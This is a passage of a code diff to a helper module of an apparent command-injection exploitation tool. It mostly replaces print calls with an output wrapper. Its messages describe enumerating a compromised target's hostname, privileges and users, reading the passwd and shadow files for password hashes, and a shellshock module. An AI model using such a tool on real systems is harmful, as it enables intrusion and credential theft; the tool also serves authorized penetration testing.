+ settings.print_data_to_stdout(settings.print_error_msg(error_msg)) """ Save command history. @@ -395,7 +395,7 @@ def save_cmd_history(): readline.write_history_file(cli_history) except (IOError, AttributeError) as e: warn_msg = "There was a problem writing the history file '" + cli_history + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Testing technique (title) @@ -403,7 +403,7 @@ def save_cmd_history(): def testing_technique_title(injection_type, technique): if settings.VERBOSITY_LEVEL != 0: info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ Injection process (percent) @@ -411,8 +411,8 @@ def testing_technique_title(injection_type, technique): def injection_process(injection_type, technique, percent): if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + """ Percentage calculation @@ -449,7 +449,7 @@ def load_cmd_history(): warn_msg = "There was a problem loading the history file '" + cli_history + "'." if settings.IS_WINDOWS: warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Get value inside boundaries. @@ -541,7 +541,7 @@ def ignore_anticsrf_parameter(parameter): if (len(parameter.split("="))) == 2: info_msg = "Ignoring the parameter '" + parameter.split("=")[0] info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True """ @@ -551,7 +551,7 @@ def ignore_google_analytics_cookie(cookie): if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX): if (len(cookie.split("="))) == 2: info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True """ @@ -559,14 +559,14 @@ def ignore_google_analytics_cookie(cookie): """ def newline_fixation(payload): payload = _urllib.parse.unquote(payload) - if "\n" in payload: - #_ = payload.find("\n") + 1 - #payload = _urllib.parse.quote(payload[:_]) + payload[_:] - payload = payload.replace("\n","%0a") - if "\r" in payload: + if settings.END_LINE.CR in payload: #_ = payload.find("\r\n") + 1 #payload = _urllib.parse.quote(payload[:_]) + payload[_:] - payload = payload.replace("\r","%0d") + payload = payload.replace(settings.END_LINE.CR,"%0d") + if settings.END_LINE.LF in payload: + #_ = payload.find("\n") + 1 + #payload = _urllib.parse.quote(payload[:_]) + payload[_:] + payload = payload.replace(settings.END_LINE.LF,"%0a") return payload """ @@ -590,7 +590,7 @@ def page_encoding(response, action): except Exception as e: if settings.PAGE_COMPRESSION is None: warn_msg = "Turning off page compression." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.PAGE_COMPRESSION = False _ = False try: @@ -608,7 +608,7 @@ def page_encoding(response, action): if _: err_msg += "You are advised to rerun with" err_msg += ('out', '')[menu.options.codec == None] + " option '--codec'." - print(settings.print_critical_msg(str(err_msg))) + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg))) raise SystemExit() """ @@ -628,7 +628,7 @@ def get_header(headers, key): def blocked_ip(page): if re.search(settings.BLOCKED_IP_REGEX, page): warn_msg = "It appears that you have been blocked by the target server." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) """ Checks regarding a potential browser verification protection mechanism. @@ -641,7 +641,7 @@ def browser_verification(page): warn_msg += " (CloudFlare)." else: warn_msg += "." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) """ Checks regarding a potential CAPTCHA protection mechanism. @@ -657,8 +657,8 @@ def captcha_check(page): else: warn_msg += "." if settings.CRAWLING: - print(settings.SINGLE_WHITESPACE) - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) break """ @@ -667,22 +667,22 @@ def captcha_check(page): def check_for_false_positive_result(false_positive_warning): info_msg = "Checking if the injection point on " info_msg += settings.CHECKING_PARAMETER + " is a false positive.\n" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model" if settings.VERBOSITY_LEVEL != 0: warn_msg = warn_msg + ".\n" else: warn_msg = warn_msg +", please wait..." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) """ False positive or unexploitable injection point detected. """ def unexploitable_point(): if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "False positive or unexploitable injection point has been detected." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) """ Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase. @@ -690,7 +690,7 @@ def unexploitable_point(): def total_of_requests(): debug_msg = "Identified the following injection point with " debug_msg += "a total of " + str(settings.TOTAL_OF_REQUESTS) + " HTTP(S) requests." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ Url decode specific chars of the provided payload. @@ -716,12 +716,12 @@ def check_connection(url): try: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Resolving hostname '" + hostname + "'." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) socket.getaddrinfo(hostname, None) except socket.gaierror: err_msg = "Host '" + hostname + "' does not exist." if not settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except socket.error: err_msg = "Problem occurred while " @@ -730,7 +730,7 @@ def check_connection(url): err_msg = "Problem occurred while " err_msg += "handling a host name '" + hostname + "'" if not settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -865,7 +865,7 @@ def continue_tests(err): not menu.options.skip_waf and \ not settings.HOST_INJECTION : warn_msg = "It seems that target is protected by some kind of WAF/IPS." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.WAF_ENABLED = True while True: @@ -893,7 +893,7 @@ def continue_tests(err): def unavailable_option(check_option): warn_msg = "The option '" + check_option + "' " warn_msg += "is not yet supported Windows targets." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Transformation of separators if time-based injection @@ -917,7 +917,7 @@ def no_readline_module(): err_msg += " 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead." elif settings.PLATFORM == "mac": err_msg += " 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) """ Check for incompatible OS (i.e Unix). @@ -925,7 +925,7 @@ def no_readline_module(): def ps_incompatible_os(): if not settings.TARGET_OS == settings.OS.WINDOWS: warn_msg = "The identified OS seems incompatible with the provided '--ps-version' switch." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return True """ @@ -934,7 +934,7 @@ def ps_incompatible_os(): def ps_check(): if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords: if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) while True: message = "The payloads in some options that you " message += "have chosen are requiring the use of powershell. " @@ -963,7 +963,7 @@ def ps_check_failed(): if ps_check in settings.CHOICE_YES: break elif ps_check in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) os._exit(0) else: common.invalid_option(ps_check) @@ -977,11 +977,11 @@ def check_CGI_scripts(url): CGI_SCRIPTS = [] if not os.path.isfile(settings.CGI_SCRIPTS ): err_msg = "The pages / scripts list (" + settings.CGI_SCRIPTS + ") is not found" - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if len(settings.CGI_SCRIPTS ) == 0: err_msg = "The " + settings.CGI_SCRIPTS + " list is empty." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() with open(settings.CGI_SCRIPTS , "r") as f: for line in f: @@ -989,7 +989,7 @@ def check_CGI_scripts(url): CGI_SCRIPTS.append(line) except IOError: err_msg = " Check if the " + settings.CGI_SCRIPTS + " list is readable or corrupted." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() _ = False @@ -998,7 +998,7 @@ def check_CGI_scripts(url): info_msg = "Heuristic (basic) tests shows that target URL might contain a script " info_msg += "vulnerable to shellshock. " _ = True - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) while True: message = "Do you want to enable the shellshock module ('--shellshock')? [Y/n] > " shellshock_check = common.read_input(message, default="Y", check_batch=True) @@ -1037,17 +1037,17 @@ def check_http_s(url): settings.SCHEME = (_urllib.parse.urlparse(url).scheme.lower() or "http") if not menu.options.force_ssl else "https" else: err_msg = "Invalid target URL has been given." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except ValueError as err: err_msg = "Problem occurred while parsing target URL." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if _urllib.parse.urlparse(url).scheme != settings.SCHEME: if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0: debug_msg = "Forcing usage of SSL/HTTPS requests." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) url = url.replace(_urllib.parse.urlparse(url).scheme, settings.SCHEME) return url @@ -1065,7 +1065,7 @@ def user_defined_os(): else: err_msg = "You defined wrong value '" + menu.options.os + "' " err_msg += "for operation system. The value, must be 'Windows' or 'Unix'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -1104,8 +1104,8 @@ def identified_os(): if settings.IGNORE_IDENTIFIED_OS == None: warn_msg = "Identified different operating system (i.e. '" warn_msg += settings.TARGET_OS.title() + "'), than the defined (i.e. '" + menu.options.os.title() + "')." - print(settings.print_bold_warning_msg(warn_msg)) - message = "How do you want to proceed? [(c)ontinue/(S)kip/(q)uit] > " + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + message = "How do you want to proceed? [(C)ontinue/(s)kip] > " proceed_option = common.read_input(message, default="S", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": @@ -1126,14 +1126,14 @@ def identified_os(): def third_party_dependencies(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Checking all required third-party library dependencies." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: import sqlite3 except ImportError: err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library " err_msg += "in order to store previous injection points and commands. " - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: @@ -1146,7 +1146,7 @@ def third_party_dependencies(): err_msg = "The 'pyreadline' (third-party) library is required " err_msg += "in order to be able to take advantage of the TAB " err_msg += "completion and history support features." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif settings.PLATFORM == "posix": try: import gnureadline @@ -1154,7 +1154,7 @@ def third_party_dependencies(): err_msg = "The 'gnureadline' (third-party) library is required " err_msg += "in order to be able to take advantage of the TAB " err_msg += "completion and history support features." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) pass """ @@ -1165,7 +1165,7 @@ def http_auth_err_msg(): err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")" err_msg += " or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized)" err_msg += " and continue tests without providing valid credentials." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -1175,7 +1175,7 @@ def error_loading_session_file(): err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -1184,17 +1184,17 @@ def error_loading_session_file(): def time_delay_recommendation(): warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) """ Message regarding unexpected time delays due to unstable requests """ def time_delay_due_to_unstable_request(timesec): message = "Unexpected time delays have been identified due to unstable " - message += "requests. This behavior may lead to false-positive results. " - sys.stdout.write("\r") + message += "requests and may lead to false-positive results. " + settings.print_data_to_stdout(settings.END_LINE.CR) while True: - message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + message = message + "How do you want to proceed? [(C)ontinue/(s)kip] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": @@ -1225,14 +1225,14 @@ def time_relative_shell(url_time_response, how_long, timesec): """ def time_relative_attaks_msg(): warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Check if defined "--url-reload" option. """ def reload_url_msg(technique): warn_msg = "On " + technique + "technique, the '--url-reload' option is not available." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Decision if the user-defined HTTP authenticatiob type, @@ -1242,8 +1242,8 @@ def identified_http_auth_type(auth_type): warn_msg = "Identified different HTTP authentication type (" warn_msg += auth_type.lower() + ") than that you have provided (" warn_msg += menu.options.auth_type + ")." - print(settings.print_warning_msg(warn_msg)) - message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + message = "How do you want to proceed? [(C)ontinue/(s)kip] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": @@ -1313,7 +1313,7 @@ def remove_skipped_params(url, check_parameters): _.append(parameter) if _: info_msg = "Skipping " + check_http_method(url) + " parameter" + ('', 's')[len(_) > 1] + " '" + str(", ".join(_)) + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) menu.options.test_parameter = True """ @@ -1371,7 +1371,7 @@ def testable_parameters(url, check_parameters, header_name): else: debug_msg += check_http_method(url) debug_msg += "." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) """ @@ -1381,22 +1381,22 @@ def time_relative_tamper(tamper): warn_msg = "All injection techniques, except for the time-relative ones, " warn_msg += "do not support the '" + tamper + ".py' tamper script." if menu.options.skip_heuristics: - print(settings.SINGLE_WHITESPACE) - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Lists available tamper scripts """ def list_tamper_scripts(): info_msg = "Listing available tamper scripts." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.list_tampers: for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): content = open(script, "rb").read().decode(settings.DEFAULT_CODEC) match = re.search(r"About:(.*)\n", content) if match: comment = match.group(1).strip() - print(settings.SUB_CONTENT_SIGN_TYPE + os.path.basename(script) + Style.RESET_ALL + " - " + comment) + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + os.path.basename(script) + Style.RESET_ALL + " - " + comment) """ Tamper script checker @@ -1414,11 +1414,11 @@ def tamper_scripts(stored_tamper_scripts): else: err_msg = "The '" + script + "' tamper script does not exist. " err_msg += "Use the '--list-tampers' option for listing available tamper scripts." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if not stored_tamper_scripts: info_msg = "Loaded tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) for script in provided_scripts: if "hexencode" or "base64encode" == script: settings.MULTI_ENCODED_PAYLOAD.append(script) @@ -1433,16 +1433,16 @@ def tamper_scripts(stored_tamper_scripts): if len(warn_msg) != 0: if not stored_tamper_scripts: warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: if not stored_tamper_scripts: - print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) try: module = __import__(import_script, fromlist=[None]) if not hasattr(module, "__tamper__"): err_msg = "Missing variable '__tamper__' " err_msg += "in tamper script '" + import_script.split(".")[-1] + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except (ImportError, ValueError) as err_msg: pass @@ -1457,7 +1457,7 @@ def tamper_scripts(stored_tamper_scripts): warn_msg = "The combination of the provided tamper scripts " if _: warn_msg += "is not a good idea (may cause false positive / negative results)." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Check if the payload output seems to be hex. @@ -1650,7 +1650,7 @@ def check_encoders(payload): elif procced_option in settings.CHOICE_NO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Unloading the '" + encode_type + "' tamper script." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) settings.MULTI_ENCODED_PAYLOAD.remove(encode_type) break elif procced_option in settings.CHOICE_QUIT: @@ -1709,7 +1709,7 @@ def check_encoders(payload): settings.MULTI_ENCODED_PAYLOAD.remove(encoded_with + "encode") if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping load the '" + encoded_with + "encode' tamper script." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() @@ -1866,7 +1866,7 @@ def skip_empty(empty_parameters, http_request_method): warn_msg += (' have ', ' has ')[len(empty_parameters.split(",")) == 1] warn_msg += "been skipped from testing" warn_msg += " because user specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -1892,7 +1892,7 @@ def is_empty(multi_parameters, http_request_method): json_data = json.loads(multi_params, object_pairs_hook=OrderedDict) multi_params = flatten(json_data) except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() for empty in multi_params: try: @@ -1911,7 +1911,7 @@ def is_empty(multi_parameters, http_request_method): except IndexError: if not settings.IS_XML and not settings.IS_JSON: err_msg = "No parameter(s) found for testing in the provided data." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if len(empty_parameters) == len(multi_parameters): @@ -1936,7 +1936,7 @@ def is_empty(multi_parameters, http_request_method): warn_msg += (' are ', ' is ')[len(empty_parameters.split(",")) == 1] + "empty. " warn_msg += "You are advised to use only valid values, so " + settings.APPLICATION warn_msg += " could be able to run properly." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return False # Check if valid SOAP/XML @@ -1965,7 +1965,7 @@ def is_JSON_check(parameter): if not "No JSON object could be decoded" in str(err_msg) and \ not _: err_msg = "JSON " + str(err_msg) + ". " - print(settings.print_critical_msg(err_msg) + "\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() return False @@ -1994,7 +1994,7 @@ def inappropriate_format(multi_parameters): err_msg = "The provided parameter" + "s"[len(multi_parameters) == 1:][::-1] err_msg += (' are ', ' is ')[len(multi_parameters) == 1] err_msg += "not in appropriate format." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -2059,10 +2059,10 @@ def print_ps_version(ps_version, filename, _): settings.PS_ENABLED = True ps_version = "".join(str(p) for p in ps_version) if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Output PowerShell's version number info_msg = "Powershell version: " + ps_version - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2071,7 +2071,7 @@ def print_ps_version(ps_version, filename, _): except ValueError: warn_msg = "Failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.PS_ENABLED = False ps_check_failed() @@ -2081,9 +2081,9 @@ def print_ps_version(ps_version, filename, _): def print_hostname(shell, filename, _): if shell: if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Hostname: " + str(shell) - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2091,7 +2091,7 @@ def print_hostname(shell, filename, _): output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Print current user info @@ -2099,9 +2099,9 @@ def print_hostname(shell, filename, _): def print_current_user(cu_account, filename, _): if cu_account: if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Current user: " + str(cu_account) - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2109,7 +2109,7 @@ def print_current_user(cu_account, filename, _): output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Print current user privs @@ -2121,10 +2121,10 @@ def print_current_user_privs(shell, filename, _): priv = "False" if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Current user has excessive privileges: " + str(priv) - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2136,9 +2136,9 @@ def print_current_user_privs(shell, filename, _): def print_os_info(target_os, target_arch, filename, _): if target_os and target_arch: if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2146,7 +2146,7 @@ def print_os_info(target_os, target_arch, filename, _): output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Print enumeration info msgs @@ -2154,23 +2154,23 @@ def print_os_info(target_os, target_arch, filename, _): class print_enumenation(): def ps_version_msg(self): info_msg = "Fetching powershell version." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def hostname_msg(self): info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def current_user_msg(self): info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def check_privs_msg(self): info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def os_info_msg(self): info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def print_users_msg(self): if settings.TARGET_OS == settings.OS.WINDOWS: @@ -2178,16 +2178,16 @@ def print_users_msg(self): else: info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " info_msg += "in order to enumerate operating system users. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def print_passes_msg(self): info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' " info_msg += "in order to enumerate operating system users password hashes. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def print_single_os_cmd_msg(self, cmd): info_msg = "Executing the user-supplied command: '" + cmd + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ Print users enumeration. @@ -2204,11 +2204,11 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi sys_users_list = sys_users_list.split() if len(sys_users_list) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Identified operating system" info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2217,7 +2217,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi for user in range(0, len(sys_users_list)): count = count + 1 is_privileged = is_privileged = "" - print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2225,15 +2225,15 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi output_file.write("\n") output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) else: - # print(settings.SINGLE_WHITESPACE) + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate operating system users." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: - # print(settings.SINGLE_WHITESPACE) + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate operating system users." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) pass # Unix-like users enumeration. @@ -2249,9 +2249,9 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if len(sys_users) % 3 != 0 : warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in 